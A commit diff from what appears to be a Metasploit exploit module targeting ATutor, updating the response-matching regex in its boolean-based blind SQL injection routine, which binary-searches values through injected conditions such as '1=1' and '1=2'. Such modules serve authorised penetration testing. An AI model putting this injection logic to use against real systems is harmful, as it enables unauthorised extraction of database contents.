Update the regex for the number of students in ATutor
parent
5d64346a63
commit
cda4c6b3b3
|
@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mid = (lower + upper) / 2
|
||||
sqli = "#{sql}>#{mid}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d entries./
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
lower = mid + 1
|
||||
else
|
||||
upper = mid
|
||||
|
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
sqli = "#{sql}=#{lower}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d entries./
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
value = lower
|
||||
end
|
||||
end
|
||||
|
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if do_test
|
||||
if do_true
|
||||
result = perform_request("1=1", cookie)
|
||||
if result =~ /There are \d entries./
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
return true
|
||||
end
|
||||
else not do_true
|
||||
result = perform_request("1=2", cookie)
|
||||
if not result =~ /There are \d entries./
|
||||
if not result =~ /There are \d{0,8} entries\./
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue